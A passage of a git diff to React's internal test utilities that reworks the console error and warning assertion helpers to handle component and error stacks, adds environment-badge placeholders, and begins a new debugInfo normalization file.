-        assertConsoleErrorDev(['Hi', 'Bye']);
+        assertConsoleErrorDev([
+          'Hi \n    in div (at **)',
+          'Bye \n    in div (at **)',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
 
-        Received more than one component stack for a warning:
-          "Hi %s%s"
+        Unexpected error(s) recorded.
+
+        - Expected errors
+        + Received errors
 
-        Received more than one component stack for a warning:
-          "Bye %s%s""
+          Hi      in div (at **)
+        +     in div (at **)
+          Bye      in div (at **)
+        +     in div (at **)"
       `);
     });
 
@@ -2565,14 +2044,14 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi \n    in div');
         console.error('Bye \n    in div');
-        assertConsoleErrorDev('Hi', 'Bye');
+        assertConsoleErrorDev('Hi \n    in div', 'Bye \n    in div');
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
 
         Expected messages should be an array of strings but was given type "string"."
       `);
-      assertConsoleErrorDev(['Hi', 'Bye']);
+      assertConsoleErrorDev(['Hi \n    in div', 'Bye \n    in div']);
     });
 
     // @gate __DEV__
@@ -2587,7 +2066,7 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         Expected messages should be an array of strings but was given type "string"."
       `);
-      assertConsoleErrorDev(['Hi', 'Bye']);
+      assertConsoleErrorDev(['Hi \n    in div', 'Bye \n    in div']);
     });
 
     // @gate __DEV__
@@ -2603,7 +2082,127 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         Expected messages should be an array of strings but was given type "string"."
       `);
-      assertConsoleErrorDev(['Hi', 'Wow', 'Bye']);
+      assertConsoleErrorDev([
+        'Hi \n    in div',
+        'Wow \n    in div',
+        'Bye \n    in div',
+      ]);
+    });
+
+    describe('in <stack> placeholder', () => {
+      // @gate __DEV__
+      it('fails if `in <stack>` is used for a component stack instead of an error stack', () => {
+        const message = expectToThrowFailure(() => {
+          console.error('Warning message\n    in div');
+          assertConsoleErrorDev(['Warning message\n    in <stack>']);
+        });
+        expect(message).toMatchInlineSnapshot(`
+          "assertConsoleErrorDev(expected)
+
+          Incorrect use of \\n    in <stack> placeholder. The placeholder is for JavaScript Error stack traces (messages starting with "Error:"), not for React component stacks.
+
+          Expected: "Warning message
+              in <stack>"
+          Received: "Warning message
+              in div (at **)"
+
+          If this error has a component stack, include the full component stack in your expected message (e.g., "Warning message\\n    in ComponentName (at **)")."
+        `);
+      });
+
+      // @gate __DEV__
+      it('fails if `in <stack>` is used for multiple component stacks', () => {
+        const message = expectToThrowFailure(() => {
+          console.error('First warning\n    in span');
+          console.error('Second warning\n    in div');
+          assertConsoleErrorDev([
+            'First warning\n    in <stack>',
+            'Second warning\n    in <stack>',
+          ]);
+        });
+        expect(message).toMatchInlineSnapshot(`
+          "assertConsoleErrorDev(expected)
+
+          Incorrect use of \\n    in <stack> placeholder. The placeholder is for JavaScript Error stack traces (messages starting with "Error:"), not for React component stacks.
+
+          Expected: "First warning
+              in <stack>"
+          Received: "First warning
+              in span (at **)"
+
+          If this error has a component stack, include the full component stack in your expected message (e.g., "Warning message\\n    in ComponentName (at **)").
+
+          Incorrect use of \\n    in <stack> placeholder. The placeholder is for JavaScript Error stack traces (messages starting with "Error:"), not for React component stacks.
+
+          Expected: "Second warning
+              in <stack>"
+          Received: "Second warning
+              in div (at **)"
+
+          If this error has a component stack, include the full component stack in your expected message (e.g., "Warning message\\n    in ComponentName (at **)")."
+        `);
+      });
+
+      it('allows `in <stack>` for actual error stack traces', () => {
+        // This should pass - \n    in <stack> is correctly used for an error stack
+        console.error(new Error('Something went wrong'));
+        assertConsoleErrorDev(['Error: Something went wrong\n    in <stack>']);
+      });
+
+      // @gate __DEV__
+      it('fails if error stack trace is present but \\n    in <stack> is not expected', () => {
+        const message = expectToThrowFailure(() => {
+          console.error(new Error('Something went wrong'));
+          assertConsoleErrorDev(['Error: Something went wrong']);
+        });
+        expect(message).toMatch(`Unexpected error stack trace for:`);
+        expect(message).toMatch(`Error: Something went wrong`);
+        expect(message).toMatch(
+          'If this error should include an error stack trace, add \\n    in <stack> to your expected message'
+        );
+      });
+
+      // @gate __DEV__
+      it('fails if `in <stack>` is expected but no stack is present', () => {
+        const message = expectToThrowFailure(() => {
+          console.error('Error: Something went wrong');
+          assertConsoleErrorDev([
+            'Error: Something went wrong\n    in <stack>',
+          ]);
+        });
+        expect(message).toMatchInlineSnapshot(`
+          "assertConsoleErrorDev(expected)
+
+          Missing error stack trace for:
+            "Error: Something went wrong"
+
+          The expected message uses \\n    in <stack> but the actual error doesn't include an error stack trace.
+          If this error should not have an error stack trace, remove \\n    in <stack> from your expected message."
+        `);
+      });
+    });
+
+    describe('[Environment] placeholder', () => {
+      // @gate __DEV__
+      it('expands [Server] to ANSI escape sequence for server badge', () => {
+        const badge = '\u001b[0m\u001b[7m Server \u001b[0m';
+        console.error(badge + 'Error: something went wrong');
+        assertConsoleErrorDev(['[Server] Error: something went wrong']);
+      });
+
+      // @gate __DEV__
+      it('expands [Prerender] to ANSI escape sequence for server badge', () => {
+        const badge = '\u001b[0m\u001b[7m Prerender \u001b[0m';
+        console.error(badge + 'Error: something went wrong');
+        assertConsoleErrorDev(['[Prerender] Error: something went wrong']);
+      });
+
+      // @gate __DEV__
+      it('expands [Cache] to ANSI escape sequence for server badge', () => {
+        const badge = '\u001b[0m\u001b[7m Cache \u001b[0m';
+        console.error(badge + 'Error: something went wrong');
+        assertConsoleErrorDev(['[Cache] Error: something went wrong']);
+      });
     });
 
     it('should fail if waitFor is called before asserting', async () => {
@@ -2774,16 +2373,32 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);
       });
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.error was called without assertConsoleErrorDev:
-        + Not asserted
-        + Not asserted
-        + Not asserted
+          console.error was called without assertConsoleErrorDev:
+          + Not asserted
+          + Not asserted
+          + Not asserted
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
+
+          console.error was called without assertConsoleErrorDev:
+          + Not asserted%s,
+          +     in Yield (at **)
+          + Not asserted%s,
+          +     in Yield (at **)
+          + Not asserted%s,
+          +     in Yield (at **)
+
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      }
 
       expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);
     });
diff --git a/packages/internal-test-utils/consoleMock.js b/packages/internal-test-utils/consoleMock.js
index 45a59d2b4cb2..ee7c486d780e 100644
--- a/packages/internal-test-utils/consoleMock.js
+++ b/packages/internal-test-utils/consoleMock.js
@@ -6,6 +6,7 @@
  */
 
 /* eslint-disable react-internal/no-production-logging */
+
 const chalk = require('chalk');
 const util = require('util');
 const shouldIgnoreConsoleError = require('./shouldIgnoreConsoleError');
@@ -19,19 +20,7 @@ const loggedErrors = (global.__loggedErrors = global.__loggedErrors || []);
 const loggedWarns = (global.__loggedWarns = global.__loggedWarns || []);
 const loggedLogs = (global.__loggedLogs = global.__loggedLogs || []);
 
-// TODO: delete these after code modding away from toWarnDev.
-const unexpectedErrorCallStacks = (global.__unexpectedErrorCallStacks =
-  global.__unexpectedErrorCallStacks || []);
-const unexpectedWarnCallStacks = (global.__unexpectedWarnCallStacks =
-  global.__unexpectedWarnCallStacks || []);
-const unexpectedLogCallStacks = (global.__unexpectedLogCallStacks =
-  global.__unexpectedLogCallStacks || []);
-
-const patchConsoleMethod = (
-  methodName,
-  unexpectedConsoleCallStacks,
-  logged,
-) => {
+const patchConsoleMethod = (methodName, logged) => {
   const newMethod = function (format, ...args) {
     // Ignore uncaught errors reported by jsdom
     // and React addendums because they're too noisy.
@@ -44,14 +33,25 @@ const patchConsoleMethod = (
       return;
     }
 
-    // Capture the call stack now so we can warn about it later.
-    // The call stack has helpful information for the test author.
-    // Don't throw yet though b'c it might be accidentally caught and suppressed.
-    const stack = new Error().stack;
-    unexpectedConsoleCallStacks.push([
-      stack.slice(stack.indexOf('\n') + 1),
-      util.format(format, ...args),
-    ]);
+    // Append Component Stacks. Simulates a framework or DevTools appending them.
+    if (
+      typeof format === 'string' &&
+      (methodName === 'error' || methodName === 'warn')
+    ) {
+      const React = require('react');
+
+      // Ideally we could remove this check, but we have some tests like
+      // useSyncExternalStoreShared-test that tests against React 17,
+      // which doesn't have the captureOwnerStack method.
+      if (React.captureOwnerStack) {
+        const stack = React.captureOwnerStack();
+        if (stack) {
+          format += '%s';
+          args.push(stack);
+        }
+      }
+    }
+
     logged.push([format, ...args]);
   };
 
@@ -60,123 +60,40 @@ const patchConsoleMethod = (
   return newMethod;
 };
 
-const flushUnexpectedConsoleCalls = (
-  mockMethod,
-  methodName,
-  expectedMatcher,
-  unexpectedConsoleCallStacks,
-) => {
-  if (
-    console[methodName] !== mockMethod &&
-    !jest.isMockFunction(console[methodName])
-  ) {
-    // throw new Error(
-    //  `Test did not tear down console.${methodName} mock properly.`
-    // );
-  }
-  if (unexpectedConsoleCallStacks.length > 0) {
-    const messages = unexpectedConsoleCallStacks.map(
-      ([stack, message]) =>
-        `${chalk.red(message)}\n` +
-        `${stack
-          .split('\n')
-          .map(line => chalk.gray(line))
-          .join('\n')}`,
-    );
-
-    const type = methodName === 'log' ? 'log' : 'warning';
-    const message =
-      `Expected test not to call ${chalk.bold(
-        `console.${methodName}()`,
-      )}.\n\n` +
-      `If the ${type} is expected, test for it explicitly by:\n` +
-      `1. Using ${chalk.bold(expectedMatcher + '()')} or...\n` +
-      `2. Mock it out using ${chalk.bold(
-        'spyOnDev',
-      )}(console, '${methodName}') or ${chalk.bold(
-        'spyOnProd',
-      )}(console, '${methodName}'), and test that the ${type} occurs.`;
-
-    throw new Error(`${message}\n\n${messages.join('\n\n')}`);
-  }
-};
-
-let errorMethod;
-let warnMethod;
 let logMethod;
 export function patchConsoleMethods({includeLog} = {includeLog: false}) {
-  errorMethod = patchConsoleMethod(
-    'error',
-    unexpectedErrorCallStacks,
-    loggedErrors,
-  );
-  warnMethod = patchConsoleMethod(
-    'warn',
-    unexpectedWarnCallStacks,
-    loggedWarns,
-  );
+  patchConsoleMethod('error', loggedErrors);
+  patchConsoleMethod('warn', loggedWarns);
 
   // Only assert console.log isn't called in CI so you can debug tests in DEV.
   // The matchers will still work in DEV, so you can assert locally.
   if (includeLog) {
-    logMethod = patchConsoleMethod('log', unexpectedLogCallStacks, loggedLogs);
+    logMethod = patchConsoleMethod('log', loggedLogs);
   }
 }
 
-export function flushAllUnexpectedConsoleCalls() {
-  flushUnexpectedConsoleCalls(
-    errorMethod,
-    'error',
-    'assertConsoleErrorDev',
-    unexpectedErrorCallStacks,
-  );
-  flushUnexpectedConsoleCalls(
-    warnMethod,
-    'warn',
-    'assertConsoleWarnDev',
-    unexpectedWarnCallStacks,
-  );
-  if (logMethod) {
-    flushUnexpectedConsoleCalls(
-      logMethod,
-      'log',
-      'assertConsoleLogDev',
-      unexpectedLogCallStacks,
-    );
-    unexpectedLogCallStacks.length = 0;
-  }
-  unexpectedErrorCallStacks.length = 0;
-  unexpectedWarnCallStacks.length = 0;
-}
-
 export function resetAllUnexpectedConsoleCalls() {
   loggedErrors.length = 0;
   loggedWarns.length = 0;
-  unexpectedErrorCallStacks.length = 0;
-  unexpectedWarnCallStacks.length = 0;
   if (logMethod) {
     loggedLogs.length = 0;
-    unexpectedLogCallStacks.length = 0;
   }
 }
 
 export function clearLogs() {
   const logs = Array.from(loggedLogs);
-  unexpectedLogCallStacks.length = 0;
   loggedLogs.length = 0;
   return logs;
 }
 
 export function clearWarnings() {
   const warnings = Array.from(loggedWarns);
-  unexpectedWarnCallStacks.length = 0;
   loggedWarns.length = 0;
   return warnings;
 }
 
 export function clearErrors() {
   const errors = Array.from(loggedErrors);
-  unexpectedErrorCallStacks.length = 0;
   loggedErrors.length = 0;
   return errors;
 }
@@ -204,7 +121,7 @@ export function assertConsoleLogsCleared() {
     if (warnings.length > 0) {
       message += `\nconsole.warn was called without assertConsoleWarnDev:\n${diff(
         '',
-        warnings.join('\n'),
+        warnings.map(normalizeComponentStack).join('\n'),
         {
           omitAnnotationLines: true,
         },
@@ -213,7 +130,7 @@ export function assertConsoleLogsCleared() {
     if (errors.length > 0) {
       message += `\nconsole.error was called without assertConsoleErrorDev:\n${diff(
         '',
-        errors.join('\n'),
+        errors.map(normalizeComponentStack).join('\n'),
         {
           omitAnnotationLines: true,
         },
@@ -228,7 +145,7 @@ export function assertConsoleLogsCleared() {
   }
 }
 
-function replaceComponentStack(str) {
+function normalizeCodeLocInfo(str) {
   if (typeof str !== 'string') {
     return str;
   }
@@ -239,17 +156,93 @@ function replaceComponentStack(str) {
   //  at Component (/path/filename.js:123:45)
   // React format:
   //    in Component (at filename.js:123)
-  return str.replace(/\n +(?:at|in) ([\S]+)[^\n]*.*/, function (m, name) {
-    return chalk.dim(' <component stack>');
+  return str.replace(/\n +(?:at|in) ([^(\[\n]+)[^\n]*/g, function (m, name) {
+    name = name.trim();
+    if (name.endsWith('.render')) {
+      // Class components will have the `render` method as part of their stack trace.
+      // We strip that out in our normalization to make it look more like component stacks.
+      name = name.slice(0, name.length - 7);
+    }
+    name = name.replace(/.*\/([^\/]+):\d+:\d+/, '**/$1:**:**');
+    return '\n    in ' + name + ' (at **)';
   });
 }
 
+// Expands environment placeholders like [Server] into ANSI escape sequences.
+// This allows test assertions to use a cleaner syntax like "[Server] Error:"
+// instead of the full escape sequence "\u001b[0m\u001b[7m Server \u001b[0mError:"
+function expandEnvironmentPlaceholders(str) {
+  if (typeof str !== 'string') {
+    return str;
+  }
+  // [Environment] -> ANSI escape sequence for environment badge
+  // The format is: reset + inverse + " Environment " + reset
+  return str.replace(
+    /^\[(\w+)] /g,
+    (match, env) => '\u001b[0m\u001b[7m ' + env + ' \u001b[0m',
+  );
+}
+
+// The error stack placeholder that can be used in expected messages
+const ERROR_STACK_PLACEHOLDER = '\n    in <stack>';
+// A marker used to protect the placeholder during normalization
+const ERROR_STACK_PLACEHOLDER_MARKER = '\n    in <__STACK_PLACEHOLDER__>';
+
+// Normalizes expected messages, handling special placeholders
+function normalizeExpectedMessage(str) {
+  if (typeof str !== 'string') {
+    return str;
+  }
+  // Protect the error stack placeholder from normalization
+  // (normalizeCodeLocInfo would add "(at **)" to it)
+  const hasStackPlaceholder = str.includes(ERROR_STACK_PLACEHOLDER);
+  let result = str;
+  if (hasStackPlaceholder) {
+    result = result.replace(
+      ERROR_STACK_PLACEHOLDER,
+      ERROR_STACK_PLACEHOLDER_MARKER,
+    );
+  }
+  result = normalizeCodeLocInfo(result);
+  result = expandEnvironmentPlaceholders(result);
+  if (hasStackPlaceholder) {
+    // Restore the placeholder (remove the "(at **)" that was added)
+    result = result.replace(
+      ERROR_STACK_PLACEHOLDER_MARKER + ' (at **)',
+      ERROR_STACK_PLACEHOLDER,
+    );
+  }
+  return result;
+}
+
+function normalizeComponentStack(entry) {
+  if (
+    typeof entry[0] === 'string' &&
+    entry[0].endsWith('%s') &&
+    isLikelyAComponentStack(entry[entry.length - 1])
+  ) {
+    const clone = entry.slice(0);
+    clone[clone.length - 1] = normalizeCodeLocInfo(entry[entry.length - 1]);
+    return clone;
+  }
+  return entry;
+}
+
 const isLikelyAComponentStack = message =>
   typeof message === 'string' &&
   (message.indexOf('<component stack>') > -1 ||
     message.includes('\n    in ') ||
     message.includes('\n    at '));
 
+// Error stack traces start with "*Error:" and contain "at" frames with file paths
+// Component stacks contain "in ComponentName" patterns
+// This helps validate that \n    in <stack> is used correctly
+const isLikelyAnErrorStackTrace = message =>
+  typeof message === 'string' &&
+  message.includes('Error:') &&
+  // Has "at" frames typical of error stacks (with file:line:col)
+  /\n\s+at .+\(.*:\d+:\d+\)/.test(message);
+
 export function createLogAssertion(
   consoleMethod,
   matcherName,
@@ -297,30 +290,16 @@ export function createLogAssertion(
         }
       }
 
-      const withoutStack = options.withoutStack;
-
-      // Warn about invalid global withoutStack values.
-      if (consoleMethod === 'log' && withoutStack !== undefined) {
-        throwFormattedError(
-          `Do not pass withoutStack to assertConsoleLogDev, console.log does not have component stacks.`,
-        );
-      } else if (withoutStack !== undefined && withoutStack !== true) {
-        // withoutStack can only have a value true.
-        throwFormattedError(
-          `The second argument must be {withoutStack: true}.` +
-            `\n\nInstead received ${JSON.stringify(options)}.`,
-        );
-      }
-
       const observedLogs = clearObservedErrors();
       const receivedLogs = [];
       const missingExpectedLogs = Array.from(expectedMessages);
 
       const unexpectedLogs = [];
-      const unexpectedMissingComponentStack = [];
-      const unexpectedIncludingComponentStack = [];
+      const unexpectedMissingErrorStack = [];
+      const unexpectedIncludingErrorStack = [];
       const logsMismatchingFormat = [];
       const logsWithExtraComponentStack = [];
+      const stackTracePlaceholderMisuses = [];
 
       // Loop over all the observed logs to determine:
       //   - Which expected logs are missing
@@ -340,77 +319,17 @@ export function createLogAssertion(
         }
 
         let expectedMessage;
-        let expectedWithoutStack;
         const expectedMessageOrArray = expectedMessages[index];
-        if (
-          expectedMessageOrArray != null &&
-          Array.isArray(expectedMessageOrArray)
-        ) {
-          // Should be in the local form assert([['log', {withoutStack: true}]])
-
-          // Some validations for common mistakes.
-          if (expectedMessageOrArray.length === 1) {
-            throwFormattedError(
-              `Did you forget to remove the array around the log?` +
-                `\n\nThe expected message for ${matcherName}() must be a string or an array of length 2, but there's only one item in the array. If this is intentional, remove the extra array.`,
-            );
-          } else if (expectedMessageOrArray.length !== 2) {
-            throwFormattedError(
-              `The expected message for ${matcherName}() must be a string or an array of length 2. ` +
-                `Instead received ${expectedMessageOrArray}.`,
-            );
-          } else if (consoleMethod === 'log') {
-            // We don't expect any console.log calls to have a stack.
-            throwFormattedError(
-              `Do not pass withoutStack to assertConsoleLogDev logs, console.log does not have component stacks.`,
-            );
-          }
-
-          // Format is correct, check the values.
-          const currentExpectedMessage = expectedMessageOrArray[0];
-          const currentExpectedOptions = expectedMessageOrArray[1];
-          if (
-            typeof currentExpectedMessage !== 'string' ||
-            typeof currentExpectedOptions !== 'object' ||
-            currentExpectedOptions.withoutStack !== true
-          ) {
-            throwFormattedError(
-              `Log entries that are arrays must be of the form [string, {withoutStack: true}]` +
-                `\n\nInstead received [${typeof currentExpectedMessage}, ${JSON.stringify(
-                  currentExpectedOptions,
-                )}].`,
-            );
-          }
-
-          expectedMessage = replaceComponentStack(currentExpectedMessage);
-          expectedWithoutStack = expectedMessageOrArray[1].withoutStack;
-        } else if (typeof expectedMessageOrArray === 'string') {
-          // Should be in the form assert(['log']) or assert(['log'], {withoutStack: true})
-          expectedMessage = replaceComponentStack(expectedMessageOrArray);
-          if (consoleMethod === 'log') {
-            expectedWithoutStack = true;
-          } else {
-            expectedWithoutStack = withoutStack;
-          }
-        } else if (
-          typeof expectedMessageOrArray === 'object' &&
-          expectedMessageOrArray != null &&
-          expectedMessageOrArray.withoutStack != null
-        ) {
-          // Special case for common case of a wrong withoutStack value.
-          throwFormattedError(
-            `Did you forget to wrap a log with withoutStack in an array?` +
-              `\n\nThe expected message for ${matcherName}() must be a string or an array of length 2.` +
-              `\n\nInstead received ${JSON.stringify(expectedMessageOrArray)}.`,
-          );
+        if (typeof expectedMessageOrArray === 'string') {
+          expectedMessage = normalizeExpectedMessage(expectedMessageOrArray);
         } else if (expectedMessageOrArray != null) {
           throwFormattedError(
-            `The expected message for ${matcherName}() must be a string or an array of length 2. ` +
+            `The expected message for ${matcherName}() must be a string. ` +
               `Instead received ${JSON.stringify(expectedMessageOrArray)}.`,
           );
         }
 
-        const normalizedMessage = replaceComponentStack(message);
+        const normalizedMessage = normalizeCodeLocInfo(message);
         receivedLogs.push(normalizedMessage);
 
         // Check the number of %s interpolations.
@@ -418,13 +337,18 @@ export function createLogAssertion(
         let argIndex = 0;
         // console.* could have been called with a non-string e.g. `console.error(new Error())`
         // eslint-disable-next-line react-internal/safe-string-coercion
-        String(format).replace(/%s/g, () => argIndex++);
+        String(format).replace(/%s|%c|%o/g, () => argIndex++);
         if (argIndex !== args.length) {
-          logsMismatchingFormat.push({
-            format,
-            args,
-            expectedArgCount: argIndex,
-          });
+          if (format.includes('%c%s')) {
+            // We intentionally use mismatching formatting when printing badging because we don't know
+            // the best default to use for different types because the default varies by platform.
+          } else {
+            logsMismatchingFormat.push({
+              format,
+              args,
+              expectedArgCount: argIndex,
+            });
+          }
         }
 
         // Check for extra component stacks
@@ -439,16 +363,79 @@ export function createLogAssertion(
         }
 
         // Main logic to check if log is expected, with the component stack.
-        if (
-          normalizedMessage === expectedMessage ||
-          normalizedMessage.includes(expectedMessage)
-        ) {
-          if (isLikelyAComponentStack(normalizedMessage)) {
-            if (expectedWithoutStack === true) {
-              unexpectedIncludingComponentStack.push(normalizedMessage);
+        // Check for exact match OR if the message matches with a component stack appended
+        let matchesExpectedMessage = false;
+        let expectsErrorStack = false;
+        const hasErrorStack = isLikelyAnErrorStackTrace(message);
+
+        if (typeof expectedMessage === 'string') {
+          if (normalizedMessage === expectedMessage) {
+            matchesExpectedMessage = true;
+          } else if (expectedMessage.includes('\n    in <stack>')) {
+            expectsErrorStack = true;
+            // \n    in <stack> is ONLY for JavaScript Error stack traces (e.g., "Error: message\n  at fn (file.js:1:2)")
+            // NOT for React component stacks (e.g., "\n    in ComponentName (at **)").
+            // Validate that the actual message looks like an error stack trace.
+            if (!hasErrorStack) {
+              // The actual message doesn't look like an error stack trace.
+              // This is likely a misuse - someone used \n    in <stack> for a component stack.
+              stackTracePlaceholderMisuses.push({
+                expected: expectedMessage,
+                received: normalizedMessage,
+              });
             }
-          } else if (expectedWithoutStack !== true) {
-            unexpectedMissingComponentStack.push(normalizedMessage);
+
+            const expectedMessageWithoutStack = expectedMessage.replace(
+              '\n    in <stack>',
+              '',
+            );
+            if (normalizedMessage.startsWith(expectedMessageWithoutStack)) {
+              // Remove the stack trace
+              const remainder = normalizedMessage.slice(
+                expectedMessageWithoutStack.length,
+              );
+
+              // After normalization, both error stacks and component stacks look like
+              // component stacks (at frames are converted to "in ... (at **)" format).
+              // So we check isLikelyAComponentStack for matching purposes.
+              if (isLikelyAComponentStack(remainder)) {
+                const messageWithoutStack = normalizedMessage.replace(
+                  remainder,
+                  '',
+                );
+                if (messageWithoutStack === expectedMessageWithoutStack) {
+                  matchesExpectedMessage = true;
+                }
+              } else if (remainder === '') {
+                // \n    in <stack> was expected but there's no stack at all
+                matchesExpectedMessage = true;
+              }
+            } else if (normalizedMessage === expectedMessageWithoutStack) {
+              // \n    in <stack> was expected but actual has no stack at all (exact match without stack)
+              matchesExpectedMessage = true;
+            }
+          } else if (
+            hasErrorStack &&
+            !expectedMessage.includes('\n    in <stack>') &&
+            normalizedMessage.startsWith(expectedMessage)
+          ) {
+            matchesExpectedMessage = true;
+          }
+        }
+
+        if (matchesExpectedMessage) {
+          // Check for unexpected/missing error stacks
+          if (hasErrorStack && !expectsErrorStack) {
+            // Error stack is present but \n    in <stack> was not in the expected message
+            unexpectedIncludingErrorStack.push(normalizedMessage);
+          } else if (
+            expectsErrorStack &&
+            !hasErrorStack &&
+            !isLikelyAComponentStack(normalizedMessage)
+          ) {
+            // \n    in <stack> was expected but the actual message doesn't have any stack at all
+            // (if it has a component stack, stackTracePlaceholderMisuses already handles it)
+            unexpectedMissingErrorStack.push(normalizedMessage);
           }
 
           // Found expected log, remove it from missing.
@@ -464,12 +451,7 @@ export function createLogAssertion(
       function printDiff() {
         return `${diff(
           expectedMessages
-            .map(messageOrTuple => {
-              const message = Array.isArray(messageOrTuple)
-                ? messageOrTuple[0]
-                : messageOrTuple;
-              return message.replace('\n', ' ');
-            })
+            .map(message => message.replace('\n', ' '))
             .join('\n'),
           receivedLogs.map(message => message.replace('\n', ' ')).join('\n'),
           {
@@ -479,6 +461,21 @@ export function createLogAssertion(
         )}`;
       }
 
+      // Wrong %s formatting is a failure.
+      // This is a common mistake when creating new warnings.
+      if (logsMismatchingFormat.length > 0) {
+        throwFormattedError(
+          logsMismatchingFormat
+            .map(
+              item =>
+                `Received ${item.args.length} arguments for a message with ${
+                  item.expectedArgCount
+                } placeholders:\n  ${printReceived(item.format)}`,
+            )
+            .join('\n\n'),
+        );
+      }
+
       // Any unexpected warnings should be treated as a failure.
       if (unexpectedLogs.length > 0) {
         throwFormattedError(
@@ -493,48 +490,33 @@ export function createLogAssertion(
         );
       }
 
-      // Any logs that include a component stack but shouldn't.
-      if (unexpectedIncludingComponentStack.length > 0) {
+      // Any logs that include an error stack trace but \n    in <stack> wasn't expected.
+      if (unexpectedIncludingErrorStack.length > 0) {
         throwFormattedError(
-          `${unexpectedIncludingComponentStack
+          `${unexpectedIncludingErrorStack
             .map(
               stack =>
-                `Unexpected component stack for:\n  ${printReceived(stack)}`,
+                `Unexpected error stack trace for:\n  ${printReceived(stack)}`,
             )
             .join(
               '\n\n',
-            )}\n\nIf this ${logName()} should include a component stack, remove {withoutStack: true} from this ${logName()}.` +
-            `\nIf all ${logName()}s should include the component stack, you may need to remove {withoutStack: true} from the ${matcherName} call.`,
+            )}\n\nIf this ${logName()} should include an error stack trace, add \\n    in <stack> to your expected message ` +
+            `(e.g., "Error: message\\n    in <stack>").`,
         );
       }
 
-      // Any logs that are missing a component stack without withoutStack.
-      if (unexpectedMissingComponentStack.length > 0) {
+      // Any logs that are missing an error stack trace when \n    in <stack> was expected.
+      if (unexpectedMissingErrorStack.length > 0) {
         throwFormattedError(
-          `${unexpectedMissingComponentStack
+          `${unexpectedMissingErrorStack
             .map(
               stack =>
-                `Missing component stack for:\n  ${printReceived(stack)}`,
+                `Missing error stack trace for:\n  ${printReceived(stack)}`,
             )
             .join(
               '\n\n',
-            )}\n\nIf this ${logName()} should omit a component stack, pass [log, {withoutStack: true}].` +
-            `\nIf all ${logName()}s should omit the component stack, add {withoutStack: true} to the ${matcherName} call.`,
-        );
-      }
-
-      // Wrong %s formatting is a failure.
-      // This is a common mistake when creating new warnings.
-      if (logsMismatchingFormat.length > 0) {
-        throwFormattedError(
-          logsMismatchingFormat
-            .map(
-              item =>
-                `Received ${item.args.length} arguments for a message with ${
-                  item.expectedArgCount
-                } placeholders:\n  ${printReceived(item.format)}`,
-            )
-            .join('\n\n'),
+            )}\n\nThe expected message uses \\n    in <stack> but the actual ${logName()} doesn't include an error stack trace.` +
+            `\nIf this ${logName()} should not have an error stack trace, remove \\n    in <stack> from your expected message.`,
         );
       }
 
@@ -553,6 +535,25 @@ export function createLogAssertion(
             .join('\n\n'),
         );
       }
+
+      // Using \n    in <stack> for component stacks is a misuse.
+      // \n    in <stack> should only be used for JavaScript Error stack traces,
+      // not for React component stacks.
+      if (stackTracePlaceholderMisuses.length > 0) {
+        throwFormattedError(
+          `${stackTracePlaceholderMisuses
+            .map(
+              item =>
+                `Incorrect use of \\n    in <stack> placeholder. The placeholder is for JavaScript Error ` +
+                `stack traces (messages starting with "Error:"), not for React component stacks.\n\n` +
+                `Expected: ${printReceived(item.expected)}\n` +
+                `Received: ${printReceived(item.received)}\n\n` +
+                `If this ${logName()} has a component stack, include the full component stack in your expected message ` +
+                `(e.g., "Warning message\\n    in ComponentName (at **)").`,
+            )
+            .join('\n\n')}`,
+        );
+      }
     }
   };
 }
diff --git a/packages/internal-test-utils/debugInfo.js b/packages/internal-test-utils/debugInfo.js
new file mode 100644
index 000000000000..1bafceb503f8
--- /dev/null
+++ b/packages/internal-test-utils/debugInfo.js
@@ -0,0 +1,139 @@
+'use strict';
+
+type DebugInfoConfig = {
+  ignoreProps?: boolean,
+  ignoreRscStreamInfo?: boolean,
+  useFixedTime?: boolean,
+  useV8Stack?: boolean,
+};
+
+function formatV8Stack(stack) {
+  let v8StyleStack = '';
+  if (stack) {
+    for (let i = 0; i < stack.length; i++) {
+      const [name] = stack[i];
+      if (v8StyleStack !== '') {
+        v8StyleStack += '\n';
+      }
+      v8StyleStack += '    in ' + name + ' (at **)';
+    }
+  }
+  return v8StyleStack;
+}
+
+function normalizeStack(stack) {
+  if (!stack) {
+    return stack;
+  }
+  const copy = [];
+  for (let i = 0; i < stack.length; i++) {
+    const [name, file, line, col, enclosingLine, enclosingCol] = stack[i];
+    copy.push([
+      name,
+      file.replace(__REACT_ROOT_PATH_TEST__, ''),
+      line,
+      col,
+      enclosingLine,
+      enclosingCol,
+    ]);
+  }
+  return copy;
+}
+
+function normalizeIOInfo(config: DebugInfoConfig, ioInfo) {
+  const {debugTask, debugStack, debugLocation, ...copy} = ioInfo;
+  if (ioInfo.stack) {
+    copy.stack = config.useV8Stack
+      ? formatV8Stack(ioInfo.stack)
+      : normalizeStack(ioInfo.stack);
+  }
+  if (ioInfo.owner) {
+    copy.owner = normalizeDebugInfo(config, ioInfo.owner);
+  }
+  if (typeof ioInfo.start === 'number' && config.useFixedTime) {
+    copy.start = 0;
+  }
+  if (typeof ioInfo.end === 'number' && config.useFixedTime) {
+    copy.end = 0;
+  }
+  const promise = ioInfo.value;
+  if (promise) {
+    promise.then(); // init
+    if (promise.status === 'fulfilled') {
+      if (ioInfo.name === 'rsc stream') {
+        copy.byteSize = 0;
+        copy.value = {
+          value: 'stream',
+        };
+      } else {
+        copy.value = {
+          value: promise.value,
+        };
+      }
+    } else if (promise.status === 'rejected') {
+      copy.value = {
+        reason: promise.reason,
+      };
+    } else {
+      copy.value = {
+        status: promise.status,
+      };
+    }
+  } else if ('value' in ioInfo) {
+    // If value exists in ioInfo but is undefined (e.g., WeakRef was GC'd),
